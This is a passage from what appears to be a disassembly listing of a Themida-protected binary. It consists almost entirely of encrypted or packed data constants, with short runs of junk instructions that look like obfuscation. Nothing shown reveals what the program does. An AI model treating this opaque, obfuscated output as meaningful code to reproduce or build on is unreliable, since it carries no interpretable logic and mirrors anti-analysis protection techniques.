6A8A6B77h, 7C56437Ch dd 7C58265Eh, 0C6492A62h, 0A9C39F9Eh, 807DD671h, 0E893D381h dd 0B2E1CD76h, 0BCCE566Ah, 0A709B9E7h, 42A0552Ah, 86980114h dd 923092B1h, 0C8639BB7h, 3244623Ch, 42A04239h, 60A71014h dd 0FD19F492h, 0F6182AC5h, 401CBA1Ch, 0A0C4BB26h, 29921442h dd 78564217h, 744E1B62h, 67D7FCD6h, 75460E35h, 9E7D0962h dd 0A5B7528Ah, 627856D0h, 9230921Bh, 0C66199B9h, 42A0A45Bh dd 69C93214h, 52B4F8E9h, 0E2A8BAE4h, 19F49259h, 7E9271FDh dd 8A67736Ch, 6D3F7C6Ah, 0E893D35Eh, 0A0720986h, 64E11442h dd 1442A09Fh, 1881D23Bh, 0F4923106h, 0D4F2CC17h, 1CA8437Bh dd 0F9132541h, 4EBE051Bh, 5F7B567Dh, 567D4E18h, 4E175E7Ch dd 6A444D7Dh, 5621AA23h, 0AA1B6278h, 92418A21h, 0EECC17F4h dd 0AC05A0D8h, 1B49FD9Ah, 57642092h, 0CCD6929Dh, 1B20DFBAh dd 1AB5E05Bh, 0DE00000Ah, 165D7D56h, 9D7A18AAh, 0A0B24D85h dd 8AFCC6CBh, 400EEA01h, 754A5CDAh, 0D5D7D56h, 4078946Fh dd 4EBE93A5h, 0DFFBD674h, 0E3FDD9A7h, 0A5B710ABh, 307756D0h dd 9AE13A54h, 807721AAh, 581442A0h, 1C637756h, 7D567D4Eh dd 23014E2Ah, 4C28B40Dh, 65FFA32h, 9221AABFh, 0C90115F4h dd 92231C2Eh, 0CA23A8E4h, 93D3E6E5h, 720986E8h, 0E01442A0h dd 0D5AA2777h, 811442A0h, 56310618h, 32502A7Dh, 14EB68FAh dd 0C21442A0h, 60A70059h, 619F492h, 42A0F289h, 9EF76014h dd 56996A8Ch, 0AA165D7Dh, 5C775621h, 0BF911AE0h, 4188E108h dd 16F492h, 220FAC8h, 76D62FCAh, 69CC27E7h, 29EF0172h dd 0F3556DA0h, 42A08176h, 0D2E44D14h, 0F193D3FDh, 165D7D56h dd 7D567D4Eh, 21AA165Dh, 0F0BE3092h, 0AF8565A4h, 0CA1FE44Fh dd 52BB1442h, 8E7E4740h, 6DEE23A8h, 0DD20925Eh, 0B61616DFh dd 0BDDDB642h, 3BD8EA85h, 61DE500Bh, 0F40EEA3Ah, 97C121BCh dd 320719A2h, 0D5D7D56h, 6A7C906Fh, 2744E95h, 45F73EFAh dd 4C2133A0h, 54307756h, 966DEA3Ah, 441442A0h, 4E3B82DBh dd 5D7D567Dh, 92309216h, 0CC679FB3h, 42A09A61h, 721FD14h dd 753B4DB6h, 18F492ECh, 0AA24C6FEh, 0EECEEBA4h, 40394BA4h dd 144207BBh, 0D3E6E521h, 3092F193h, 42A0CCB3h, 15EE8A14h dd 708A9CF5h, 0C5277797h, 0C42F4D27h, 1442A03Fh, 0CAA6329Bh dd 0CBDD78B0h, 0BE3092F6h, 1FFB0286h, 0D5AA15FBh, 721442D1h dd 33B97FDCh, 0E454A5E1h, 66020941h, 0FF116A50h, 7D560CDDh dd 21AA165Dh, 0F49212B9h, 0EECFE18h, 42A0EA91h, 0F1F76914h dd 9A74D866h, 0A057D424h, 2E144276h, 6BD4B3C5h, 0C021AA24h dd 0F193D30Bh, 4E2A7D56h, 861FC34h, 2744EC1h, 0CDBF6AC2h dd 7EFB4B40h, 144226F9h, 5DAEC55h, 0D7637756h, 7B7E0FCh dd 3F0C1C95h, 0E4F6D978h, 18F4920Fh, 7AD3F1CBh, 0E8FA10EEh dd 7D569922h, 0A012E966h, 24C01442h, 7BD42D49h, 0C021AA34h dd 0F193D30Bh, 159212B9h, 1442A06Eh, 0C13383ECh, 0D3EA6E6Fh dd 795AA090h, 13EFED93h, 92D3A8BAh, 0C51D320h, 0B4311910h dd 14428BCFh, 0B7C9228Bh, 7D56C495h, 21AA165Dh, 159212B9h dd 1442A06Eh, 5B7350ECh, 21FC8823h, 0AA65AC05h, 0D30BC021h dd 714AE893h, 4F06C24Ah, 0FB546DB6h, 7D5614E9h, 0A012E966h dd 57C01442h, 0A0F58A07h, 0F8611442h, 7D4E589Fh, 21AA12B9h dd 997614AEh, 9CAE4981h, 617956C7h, 0B618AA1Ah, 42A04239h dd 0E2F6D514h, 41162891h, 0A06E1592h, 0D9DD1442h, 781B8C14h dd 5079E233h, 0A2802A0h, 502537D2h, 0FF17F492h, 0ED920FEDh dd 6A1442A0h, 9FD7EFCCh, 0AA13F204h, 0B97D4E63h, 7A18AA12h dd 1FF8849Eh, 0B918EDFFh, 73916B09h, 21AA8C61h, 0CCB33092h dd 8A1442A0h, 19F50F21h, 7D4EB8FFh, 845EFCC6h, 23A5A33h dd 27FC0E67h, 42A08077h, 5E6D5814h, 0AEF193D3h, 4E35B214h dd 0C1442A0h, 56BC91A3h dd 0F2CD6B78h, 98039ED6h, 1442A0E3h, 33B5B34h, 4EAE1768h dd 90D0EC3Bh, 90D730EAh, 0FCC621AAh, 6E95618Ah, 0D5611E85h dd 0F7CCDEFAh, 1B627856h, 0C81BF492h, 3E76CFEFh, 9E6F91A3h dd 1B627856h, 807721AAh, 581442A0h, 255D7D56h, 28607C57h dd 531F47C4h, 0F492CFDEh, 2EC90115h, 94C77F1Ch, 0E823AB22h dd 0AFC17AF1h, 6B7856DAh, 42A009EEh, 35CC514h, 567D4EBCh dd 74126278h, 94697B9Bh, 807721AAh, 581442A0h, 2A627856h dd 31697D5Ch, 0D299CD50h, 2ED69939h, 0C81DA6Bh, 0F193D3FDh dd 1B627856h, 5C67D4Eh, 42A08077h, 0E6E55814h, 0AEF193D3h dd 16F4921Dh, 0D636EBF9h, 0E23BC68Fh, 0E3FD0FAAh, 19FEF05h dd 23F80A26h, 9C7A18AAh, 0C2B93686h, 901442A0h, 56401527h dd 0FDD66278h, 0E10AA5DDh, 6E15923Ah, 0EC1442A0h, 7D4E3C83h dd 0E69709B9h, 851C0D8Fh, 924F2436h, 0A0CCB330h, 218A1442h dd 0CFB4310Fh, 8C1442A0h, 0A9F211EEh, 5D7A86D2h, 3C1B2D86h dd 0BE512DCCh, 1F6FEDF3h, 426BDDA2h, 0B7107914h, 47930567h dd 22E766F9h, 12B348B3h, 0AF1F1442h, 44477FF0h, 6779D275h dd 0B921AA92h, 7A18AA12h, 5A76519Eh, 1C2EC901h, 62785647h dd 0D6744E1Bh, 0F9CEE0FAh, 807705C6h, 581442A0h, 20925E6Dh dd 343CF603h, 0FD9AACF3h, 14AE1B49h, 87B24AA2h, 4658524Ah dd 9212B971h, 42A06E15h, 3383EC14h, 0FABE7FC1h, 0D4E644F2h dd 927D4EFFh, 0EAFC1AF4h, 0AF2C8E28h, 1442A0C8h, 360B1D86h dd 0F49205C6h, 0D0F0C91Ah, 6CA4FD98h, 0A0A65DDAh, 0CB341442h dd 90676072h, 481442A0h, 4E2C7B56h, 0C650038h, 7A3132D4h dd 6C86508Eh, 0B5ED01E0h, 0BAF20AE7h, 0C480FD1Fh, 0D3908F8Ch dd 6F4AE893h, 0E4791B53h, 0BE2BCFC7h, 895E70C9h, 78561DAEh dd 30921B62h, 42A0CCB3h, 0F218A14h, 12B9C049h, 0A06E1592h dd 83EC1442h, 5220923Ch, 82298B19h, 3A0B2D3Fh, 14AEA977h dd 7856810Bh, 7D4E1B62h, 19607A56h, 9E7A18AAh, 9FB14C84h dd 1AF492CAh, 1729C4FCh, 0B9091FFDh, 0F0283C1Bh, 32599D4Eh dd 0EF4860E4h, 18AA08DDh, 704FA07Ah, 3089245Ch, 0F5D15DF8h dd 0F608A3DBh, 61795621h, 657F5B29h, 9DC94C2Dh, 0D3D9D8D5h dd 7A56F193h, 7D4E1960h, 115F492h, 0C5BA37C9h, 911442A0h dd 0A3BDCF28h, 4E68AFC5h, 0DFFBD674h, 25FA0CA7h, 19607A56h dd 707721AAh, 48533FCAh, 633FDDE5h, 0E61E3C16h, 0BE0F24Bh dd 0CCB33092h, 8A1442A0h, 32720F21h, 607A5690h, 0D6744E19h dd 0B6CCAAFDh, 528AE37Eh, 56D0A5B7h, 0AE10607Ah, 0A028CF4Ch dd 3DA61442h, 42A02DD2h, 0DD39A914h, 0A3748ACh, 875C6EC7h dd 39B618AAh, 1442A042h, 0A9E1F7D5h, 4254BD0Eh, 6179566Dh dd 5621AA1Ah, 5A28607Ah, 0C72B637Fh, 0E1561A4Ah, 271957C9h dd 0F26CA5C0h, 92A4FD15h, 0E893D3BDh, 931AAE76h, 7D8FF569h dd 1AF492A8h, 7A9470FCh, 51724E68h, 1CB61F1Bh, 0E82F881Fh dd 51CE3092h, 1442A0AAh, 0AF54BF28h, 2B1442A0h, 0BD8EB0C2h dd 19607A56h, 93A618AAh, 90BAD82Bh, 0E8415B37h, 707701D6h dd 48533FCAh, 93D35E6Dh, 2D7A56F1h, 98DF3850h, 0CCB33092h dd 8A1442A0h, 0A2FB0FEEh, 22946E90h, 4E1372D6h, 8D6274BDh dd 165D7D56h, 0D87721AAh, 0B02547B1h, 165D7D56h, 0F9D6744Eh dd 92FACFE1h, 0E642BE30h, 6F9001B7h, 426F7F04h, 0A8C6A014h dd 1B84D570h, 0F616EF09h, 7721AAAFh, 1094A2D1h, 92E6E5A9h dd 0A0CCB330h, 218A1442h, 9032720Fh, 165D7D56h, 7D567D4Eh dd 0BE9B0D5Dh, 0A653EDDBh, 0AA461B2Dh, 0A05E7721h, 0E52E189Bh dd 0F193D3E6h, 165D7D56h, 7A567D4Eh, 30921960h, 638BBEh dd 7EE982E9h, 14421BF9h, 14DAEC55h, 5D7D568Bh, 6D21AA16h dd 0F193D35Eh, 10607A56h, 724C9372h, 28811C54h, 2C4622F0h dd 0EE0059F4h, 1AF49219h, 1729C4FCh, 7D5624F5h, 2092165Dh dd 0DE71CAEh, 0A7C9DBB6h, 607A56D6h, 9221AA19h, 0C4FC1AF4h dd 1FFD1729h, 21AAC209h, 93D30BC0h, 19F492F1h, 9B924F6h dd 69C26BB0h, 47613D57h, 0C67D4E00h, 17F49205h, 1A2CC7FFh dd 42A05A21h, 0E6E50214h, 4AE893D3h, 8A07576Bh, 1442A0F5h dd 11E6F861h, 79561DAEh, 0A7CEFA5Ah, 5DB63368h, 9221AA16h dd 42A06E15h, 5A83EC14h, 18F492B3h, 910EECFEh, 1442A0EAh dd 4EB8FF68h, 0B330927Dh, 1442A0CCh, 160F218Ah, 1442A06Dh dd 6A7956FBh, 42A016EDh, 25BC414h, 0B97D4EBBh, 0BE309212h dd 4BA7F632h, 8E879939h, 144239E9h, 21A2F565h, 0AA0CA085h dd 21AA0A51h, 46CEE177h, 0E6E5B92Bh, 51CE3092h, 1442A0AAh dd 0AF54BF28h, 2B1442A0h, 429BB18Fh, 87BFDBB6h, 93DDAECh dd 9212B95Bh, 8B73BE30h, 3D57A0E8h, 75104860h, 6A110A1Ch dd 0E814427Fh, 0B8912F7Fh, 0B3C56098h, 6E1592DEh, 0EC1442A0h dd 744E3C83h, 7D997412h, 42A06D12h, 6E80E914h, 9212B999h dd 42A06E15h, 3C83EC14h, 795621AAh, 21AA1A61h, 93D35E6Dh dd 9212B9F1h, 42A06E15h, 3383EC14h, 46F6CBC1h, 8A9CDB10h dd 6E1592B5h, 0EC1442A0h, 7D4E3C83h, 209205C6h, 38620429h dd 9570FCB8h, 896E6779h, 4614428Fh, 0A2B4CAA8h, 0D3E6E5CDh dd 1DAEF193h, 0C7597A56h, 0BF0E72FAh, 925299F2h, 0BAC08120h dd 1123D4AFh, 9B9C24Bh, 6173916Bh, 18F4928Ch, 910EECFEh dd 1442A0EAh, 0F58A0769h, 611442A0h, 9E07E6F8h, 0B9D5B04Eh dd 0FFD4E681h, 0E1777D4Eh, 0B92B46CEh, 0FB1BF492h, 0FE1AF5C3h dd 0C0D22BC6h, 60B0CAA6h, 93CBE7C2h, 0A0FF8401h, 0F25B1442h dd 4EB28799h, 6E15927Dh, 0EC1442A0h, 92B35A83h, 42A06215h dd 3787F014h, 90A2BE99h, 5621AABBh, 9219607Ah, 0C7258E20h dd 0A6857D2Ah, 66BF5A92h, 8AFC8E54h, 6958F88h, 491E3011h dd 0F4925E6Dh, 0F79CFC1Ah, 83F4289Dh, 0D1953244h, 0A18B38AAh dd 102928F4h, 795629FEh, 1A972961h, 1442A065h, 0A32F88F1h dd 0DD84ADC7h, 89F32092h, 1BC4CA2Ch, 262512Ch, 43CF38CBh dd 7B164E66h, 650E8B69h, 0E91442C5h, 15923980h, 1442A06Eh dd 1E07BEDh, 6170C3CFh, 0AE00704Fh, 41EEA7C7h, 0F593E33Ch dd 2EC90117h, 799A61DEh, 0CF381442h, 7D4EE8BDh, 19607A56h dd 9B97D4Eh, 0C60C9F97h, 0F608627Ch, 5621AA21h, 9F116179h dd 0E903C5CCh, 8DDEFFFh, 5C67D4Eh, 42A08077h, 5E6D5814h dd 0AEF193D3h, 0AA12B91Dh, 6B09B921h, 0D1EF708Dh, 0F7EA67C8h dd 0B9CB669Eh, 7A18AAE4h, 5B77529Dh, 0B91BF002h, 7A18AA12h dd 7C4A82A0h, 1D2F889Eh, 63775648h, 0C67D4E1Ch, 0A0807705h dd 0DD4F1442h, 2C0A1383h, 9770B616h, 56F5CADCh, 58265E7Ch dd 0BC945A7Dh, 0FA9F7841h, 0BD9B69A1h, 0D8D46FA7h, 0A61B570Fh dd 0E893D397h, 0C48BDF76h, 53D0753Fh, 14425FACh, 5668C12Ah dd 0B214AE81h, 42A04E35h, 0D9F7D114h, 4CB506A1h, 7A56653Ah dd 21AA1960h, 7A5605C6h, 7D4E1960h, 6FBE3092h, 94EDE447h dd 35B54AB5h, 0B8211442h, 96B08CA6h, 7721AA4Fh, 1442A080h dd 0BDD3B14Fh, 556DD6ABh, 86BEDEB7h, 0D304D9EBh, 0F492F193h dd 0D3EDFF17h, 0EF8DDDF7h, 13E8FA12h, 7302744Eh, 3CDB7054h dd 92D4A9BBh, 0C4FC1AF4h, 54841722h, 68C12919h, 46603C56h dd 7721AAFFh, 1442A080h, 0E3556D58h, 53DA3D1Bh, 20F5079Bh dd 56F193D3h, 7210607Ah, 956A7C96h, 12B97D4Eh, 7A5621AAh dd 0A017EC69h, 7FB41442h dd 0E00DE0E1h, 0BA137CCDh, 0D4F2CC6Ah, 18AAEDC2h, 0A04239B6h dd 0A7101442h, 12B9C095h, 0B9923092h, 0B4C66199h, 42A0C8BBh dd 0B8359714h, 1442A1C3h, 0ADDDB480h, 0FC4DC7F3h, 336B8360h dd 4E2D3F98h, 18F795E5h, 1F31CC04h, 2744E4Ah, 0DBB9C8E8h dd 92F28DC5h, 9F792188h, 8AC82881h, 0A8321395h, 56714658h dd 4E19607Ah, 0A214AE7Dh, 7AD17494h, 0F010E9B5h, 0C6B08597h dd 0A0807705h, 6D581442h, 0F193D35Eh, 12B91DAEh, 0F49221AAh dd 0D2ECFE18h, 4E96DDF5h, 5F7B567Dh, 17F49218h, 1BF9C7FFh dd 0D49AAC05h, 5605C64Bh, 710F5F7Bh, 0A5407898h, 744EBE93h dd 0A0EE9512h, 36C1442h, 7D561CF1h, 21AA165Dh, 1A971D77h dd 6D46E435h, 5787ED4Dh, 7533C15Ah, 7D568E63h, 744E165Dh dd 0D1E3F7D6h, 2A7D56FCh, 93DA334Fh, 117721AAh, 0E9351A97h dd 93D3E6E5h, 536F4AE8h, 7D566C41h, 956F0D5Dh, 18A43F77h dd 3A0F213Dh, 7B567D4Eh, 18AA185Fh, 0A04239B6h, 74101442h dd 13257E98h, 5D7D563Eh, 6D21AA16h, 0E893D35Eh, 0EB501486h dd 0B913D771h, 42F9A94Eh, 0D7631614h, 0D192C188h, 30051780h dd 512C7B56h, 4E95DC35h, 9212B97Dh, 1BFCE220h, 13860257h dd 0C7BF1F10h, 6D334534h, 2A7D56E4h, 60FB334Fh, 87E0F6D4h dd 927D4E40h, 0BB958220h, 9521B9ABh, 0CE69A1B7h, 775112BCh dd 1442A080h, 0D35E6D58h, 2092F193h, 0FDAC8E73h, 81435563h dd 5F7B56F0h, 7721AA18h, 1442A080h, 0D35E6D58h, 0F492F193h dd 0D0EAFC1Ah, 9292D9F5h, 0A0CCB330h, 337B1442h, 7173222Dh dd 0EBCA66B7h, 4A6C7ED7h, 5F7B5679h, 0B921AA18h, 6E159212h dd 0EC1442A0h, 21AA3C83h, 93D30BC0h, 5F7B56F1h, 0D6744E18h dd 976CE9FAh, 431442A0h, 9A6F81DAh, 365F7B56h, 5621AA8Fh dd 0AA185F7Bh, 0D30BC021h, 12B9F193h, 0A06E1592h, 83EC1442h dd 927D4E3Ch, 0C3FB1BF4h, 0C7FF19F5h, 0A7C1D32Ch, 9269B0CCh dd 0EBFD19F4h, 12B99C25h, 0A06E1592h, 8CEC1442h, 0A0D6AD2Ah dd 1B841442h, 42A0CBB0h, 0C51E8714h, 0E0FCD775h, 26FB0DA8h dd 795621AAh, 825B2961h, 24EB2A62h, 500E3060h, 0A712F2DEh dd 3EBB4B64h, 144241B9h, 4153AC15h, 0F193D36Ch, 185F7B56h dd 12B97D4Eh, 1DAE21AAh, 309212B9h, 42A0CCB3h, 11EE8A14h dd 0CD26C1F9h, 566CF5BBh, 4E1B6278h, 5E7C567Dh, 5621AA17h dd 0AA175E7Ch, 5605C621h, 0AC0E5E7Ch, 42A0482Fh, 8B9D0614h dd 567D4EB6h, 15EA677Ch, 0C11442A0h, 4E62B351h, 6DC6682Ah dd 21AACD14h, 817F492h, 42A0F48Bh, 0A0F96214h, 0A0EE958Eh dd 0B6D1442h, 42A0E98Eh, 70FC6514h, 0A7427A94h, 5E6DC095h dd 56F193D3h, 9C0E5E7Ch, 0F3770846h, 0FACFE1A7h, 9512744Eh dd 1442A0EEh, 1CF1036Ch, 175E7C56h, 0FAA618AAh, 0FA973FAAh dd 772E0315h, 1442A080h, 0DB9FDD4Fh, 0F9314926h, 3FFEFE5Eh dd 0E513E8FAh, 15643FDDh, 4DE82038h, 0F21BCF4h, 0F193D33Ah dd 175E7C56h, 12B97D4Eh, 0F49221AAh, 0D3EDFF17h, 0AA94DBF9h dd 839F7A18h, 12B99C71h, 0A0621592h, 87F01442h, 567D4E40h dd 92175E7Ch, 890619F4h, 1442A0F2h, 669EF760h, 0F4BF6BCBh dd 0CAD7AE8Eh, 0AEC596B8h, 879C7614h, 42A0750Ah, 1F78E114h dd 653A4CE7h, 598205C6h, 697B561Dh, 9257FE27h, 42A06E15h dd 3C83EC14h, 0F9D6744Eh, 0FC0EA9E1h, 0AA12B927h, 0A0807721h dd 6D581442h, 0F193D35Eh, 159212B9h, 1442A06Eh, 4E3C83ECh dd 2B7C567Dh, 0CFAC384Ch, 4E175EB7h, 0DAF9D674h, 44E8283Bh dd 0A9BB14AAh, 5E7C56D4h, 7721AA17h, 1442A080h, 0B7556D58h dd 0F18CC4D8h, 5F718765h, 0E893D38Ah, 0DF5C6F4Ah, 1442A018h dd 0E2F44DB6h, 5E7C560Dh, 0B3309217h, 1442A0CCh, 0ED0F218Ah dd 0CE30921Ch, 42A0AA51h, 54BF2814h, 1442A0AFh, 5836C22Bh dd 5D6F0A42h, 44B6943h, 807721AAh, 581442A0h, 76F3556Dh dd 1442A081h, 0FDD2E44Dh, 92F193D3h, 0A0CCB330h, 1A8A1442h dd 0ECE6C1B9h, 4D5FB84Bh, 33345933h, 0F64794A0h, 4ECF166Fh dd 2B7C567Dh, 60FB3351h, 21AAC007h, 159212B9h, 1442A06Eh dd 923C83ECh, 0A0CCB330h, 218A1442h, 0B9C0490Fh, 15F49212h dd 1C2EC901h, 4C26C456h, 0A0C5BA37h, 28911442h, 56E8BDCFh dd 15EA677Ch, 0C11442A0h, 92B8FF58h, 0EE0016F4h, 0FCC6FBCCh dd 19647F5Eh, 8357DA70h, 0DF7AB20Bh, 8077F8CDh, 581442A0h dd 20925E6Dh, 96A8EE6Fh, 37D4E6D1h, 6DEA4C0Fh, 1442BF96h dd 744FDB44h, 0AE714658h, 6179561Dh, 0E9168838h, 0EB120EF9h dd 92471C2Eh, 6256BE30h, 0D8E642CBh, 0BE36CDC6h, 34A41442h dd 0ACF9B6Eh, 0FF4FA865h, 255B209Dh, 8EF71442h, 7D4EA77Ch dd 20921DAEh, 71A4766Bh, 8BA7B959h, 637756AEh, 6503CD2Bh dd 46607286h, 0CABF5367h, 0EBBD5FCEh, 1512182h, 2D661314h dd 21DA1442h, 0A514C5D1h, 0C1DBB755h, 0C5DFBB89h, 8799F28Dh dd 1D3512A2h, 7E967389h, 7803E846h, 9B14C5D1h, 4C33B0BDh dd 0A14C5D1h, 0D6EF48A1h, 0D1C2553Ah, 0DCE414C5h, 246E576Ah dd 0C8DA0892h, 0A75C7B2Bh, 1486C4AAh, 1705h, 20929400h dd 0F875D72Ch, 1442F103h, 990666CFh, 4019A5B1h, 0DC2B0E20h dd 245C7E56h, 29617956h, 2F677D5Bh, 31698761h, 346C8863h dd 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h, 6E1C68EEh dd 0BCE907EBh, 0E9FFF8D6h, 0E00EAD2Bh, 3BE9h, 0BD8B6000h dd 7E40E39h, 3304EF83h, 0BBC18BC9h, 0EDB88320h, 0BE04C783h dd 8, 0D21BE8D1h, 0C233D323h, 0F1850F4Eh, 41FFFFFFh, 0F9810789h dd 100h, 0FFD3820Fh, 0C361FFFFh, 7E8C88Bh, 0FE000000h dd 0B65D50FAh, 0BF669B27h, 8159486Ah, 631FC1h, 0CF816600h dd 0DB33B5E8h, 10E950h, 15A00000h, 28B3EB1Ah, 53CEF88Ch dd 96C8FFF8h, 8B5F23E8h, 0BD8B1904h, 7E41429h, 94CEE881h dd 958B625Bh, 7E40D31h, 7F9CF081h, 958B5615h, 7E4241Dh dd 119CC081h, 958B25DAh, 7E426C5h, 0FE96050h, 29000000h dd 44755BCh, 44DDE7E2h, 83AF72DBh, 958BC2B9h, 7E424BDh dd 19048F61h, 0BE8h, 54A05400h, 1D6F941Ah, 5F24E592h, 14E8h dd 8BE8CE00h, 0BF12FC17h, 4FBCBB4Ah, 207635C0h, 4650FD94h dd 8F0FC7h, 5F000000h, 759D895Ah, 8307E416h, 8B5202EBh dd 0E424F9BDh, 4B4B5F07h, 0FB815FB2h, 0FFFF9DB0h, 0FF61850Fh dd 0BA66FFFFh, 8D8D7624h, 7EBA980h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0FCC35545h, 0DC5D8691h, 8D014A9Ch dd 7E42039h, 909B529h, 8D8907E4h, 7E41B71h, 0A185C7FCh dd 0F407E42Dh, 6A00006Dh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0DA9FC355h, 0BF0F9B33h dd 7E8C3h, 25D10000h, 70779CD7h, 59958B2Ch, 5F07E42Dh dd 22B985C7h, 7E4h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 35CAE3C3h, 8EEFD8E8h dd 165DBD8Bh, 0BE6607E4h, 0B5FF4A09h, 7E422FDh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0B3C35242h, 0C94AE5E0h dd 0E81C27A1h, 10h, 8831CDE0h, 0AA2F1A91h, 3EB682D6h, 16BEEFC8h dd 1F9D8589h, 0E95A07E4h, 14h, 0C83F7E6Fh, 0AF300156h dd 8B6B78D1h, 28BB66A8h, 0AE7B23A4h, 306195FFh dd 0BD0107E4h, 7E43001h, 95FF006Ah db 41h, 0Eh, 0E4h ; --------------------------------------------------------------------------- loc_5FCE0B: ; DATA XREF: Themida_:005844C4o pop es mov eax, eax jmp short loc_5FCE1E ; --------------------------------------------------------------------------- dd 0B5D754DBh, 7E334F45h, 4537861Bh db 0C9h, 8Ah ; --------------------------------------------------------------------------- loc_5FCE1E: ; CODE XREF: Themida_:005FCE0Ej dec dl or al, 6Dh push cs loc_5FCE23: ; CODE XREF: Themida_:005FCE47j test al, 0E3h in eax, 4Ah mov cl, [ebx+72h] push cs test al, 0ABh aad 0EAh jnz short near ptr loc_5FCE53+1 jb short loc_5FCE41 test al, 0E9h cli dec edx mov bh, [edx+4657AE5Dh] sti dec edx mov dl, [ebx] loc_5FCE41: ; CODE XREF: Themida_:005FCE31j jnb short near ptr loc_5FCE4F+2 test al, 0ABh aad 0EAh jnz short loc_5FCE23 jnb short loc_5FCE59 test al, 0B4h sti dec edx loc_5FCE4F: ; CODE XREF: Themida_:loc_5FCE41j mov ah, [eax+esi*2+0Eh] loc_5FCE53: ; CODE XREF: Themida_:005FCE2Fj test al, 36h clc dec edx mov bl, dh loc_5FCE59: ; CODE XREF: Themida_:005FCE49j jo short near ptr loc_5FCE68+1 test al, 0ABh aad 0EAh jnz short loc_5FCE86 das aam 16h inc cl adc al, [ebx] loc_5FCE68: ; CODE XREF: Themida_:loc_5FCE59j sal byte ptr [edi], 0F8h inc ebx push ebx cmpsd nop cmpsb out dx, al dec ecx push esi and ecx, edx mov bl, 0BCh popa inc edx das aam 2Bh inc ecx adc al, [ebx] sar byte ptr [edi], 0F8h inc ebx push ebx cmpsd loc_5FCE86: ; CODE XREF: Themida_:005FCE5Fj nop push ecx out dx, al dec ecx push esi and ecx, edx ; --------------------------------------------------------------------------- db 8Fh, 0BCh, 61h dd 9AD42F42h, 312C1F8h, 43F80BC0h, 0D90A753h, 215649E9h dd 61BC9BD1h, 63D42F42h, 312C1F8h, 43F817C0h, 9E90A753h dd 215649E8h, 61BC97D1h, 0FDD42F42h, 312C1F9h, 43F863C0h dd 1C90A753h, 215649E8h, 61BCEFD1h, 7FD42F42h, 312C1F9h dd 43F86BC0h, 9A90A753h, 215649EBh, 61BCE7D1h, 12B8C342h dd 0DF152A50h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 206DC0D5h dd 0ED96A5AEh, 8A152AA8h, 0A0242945h, 0B496E367h, 0A1D5ADBAh dd 0CB152A54h, 415564C6h, 75EAD5BAh, 3AAE63CEh, 8DF106A9h dd 0AB534284h, 0FFEA2211h, 0A4245D55h, 0CF9C3AABh, 0EDDAC3B9h dd 86D7E3A8h, 44DAF745h, 0EAE9EED7h, 2359D7CEh, 0CFD22629h dd 0A851A2B9h, 62AD6C54h, 351A241h, 27BFEA66h, 0DDDB2FEEh dd 7512C136h, 2011294h, 0E860A0D9h, 79AEA5AEh, 0AE51A1ECh dd 22DC0941h, 8DFE4821h, 103773BAh, 21732ADFh, 0CA2428C8h dd 5BEA2DBFh, 8C152BFDh, 988150h, 0AFBAC030h, 0D2A5FBABh dd 0A42C89EFh, 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh dd 8AFD4AA8h, 0F251A245h, 212DC0D5h, 0DDDAA5AEh, 8668A15Ch dd 0A8ADE782h, 0CC152A54h, 8FCC30BAh, 529E2DB0h, 83FC69CEh dd 0E2A5B997h, 0F9FA31EFh, 0E860A0D9h, 79AEA5AEh, 20949A0Dh dd 8C551A23h, 21848132h, 215DDF6Eh, 174D629h, 6A985E00h dd 1402A5Ch, 549521A9h, 8A15C234h, 290BA245h, 61BEA5BEh dd 0A0242942h, 4D1957DFh, 0A8515E00h, 75532A54h, 4C763FD7h dd 19CDA153h, 9BFC69CEh, 0E2A5B997h, 0F9FA31EFh, 0E860A0D9h dd 79AEA5AEh, 20949A0Dh, 8C651A23h, 21848132h, 215DDF6Eh dd 174D629h, 6A985E00h, 1402A5Ch, 549521A9h, 8260A134h dd 6F5DDFCEh, 8A15D611h, 3BFDA245h, 0B91DC995h, 4919197h dd 4A38F2DEh, 2851A245h, 0E1AD5A8h, 0A851A25Eh, 8A1523EDh dd 2DA05545h, 86902586h, 2851A245h, 4B7332A3h, 2337AA8Eh dd 0A1BE4C97h, 0D5D8AE38h, 0CF9E4BA8h, 0A0936BB9h, 669E7F54h dd 0C8AD66C6h, 11D5FDFh, 0ED96AE38h, 8A152AA8h, 69C20E45h dd 582622B7h, 22FD6276h, 8AD5078Ch, 54D1A245h, 939125ABh dd 1151A245h, 8A152A5Dh, 7AD453B2h, 8A1FAF5Bh, 10E0A245h dd 4B93E256h, 39191EFh, 319577Fh, 23305E38h, 48DCD611h dd 2304A24Dh, 76D1A9B8h, 0A0242925h, 4D1957DFh, 0A8515E00h dd 0B92A54h, 0A7B2229Dh, 85E1D4h, 22DC0886h, 8DFE4821h dd 0F8E173BAh, 0FF9FA7FEh, 57564927h, 20D6A085h, 215DDF6Eh dd 174D629h, 6A985E00h, 1402A5Ch, 549521A9h, 8260A134h dd 6F5DDFCEh, 8A15D611h, 0AFE9A245h, 75152A54h, 4C7D5FD7h dd 20452653h, 0CA2428C8h, 5BEA2DBFh, 9BFB2BF5h, 85318694h dd 0AC59622Eh, 0AEA58050h, 0A42C89EFh, 0EBE957DDh, 61ADE7CEh dd 0DF152296h, 6CD24ECEh, 0FF9E4AA8h, 0A42C294Dh, 8AE96F93h dd 451A245h, 1787D5FEh, 23564662h, 4917868Ch, 0DDDB2FEFh dd 7512C136h, 28E9C494h, 0BE4CBDh, 0D57A0886h, 7668A358h dd 54142924h, 8A1DE89Dh, 2BBD2910h, 175D690h, 0D5DAAA30h dd 7650ED58h, 0A851A245h, 18EA80F8h, 0AFB585D8h, 58B9E2DFh dd 32DC0885h, 8DFE4821h, 103771BAh, 2173E394h, 83FB63CFh dd 0F79C2629h, 0EDDAC3B9h, 82D7E3A8h, 44DAF745h, 0EAE9EED7h dd 2359D7CEh, 0CFD22629h, 0A851A2B9h, 75BF8654h, 4C763FD7h dd 26DDA153h, 25FB6377h, 61775FCEh, 0CE825D42h, 0ECE4AAECh dd 29028EEh, 319577Fh, 23305E38h, 48DCD611h, 2304A24Dh dd 76D1A9B8h, 0A0242925h, 4D1957DFh, 0A8515E00h, 32732A54h dd 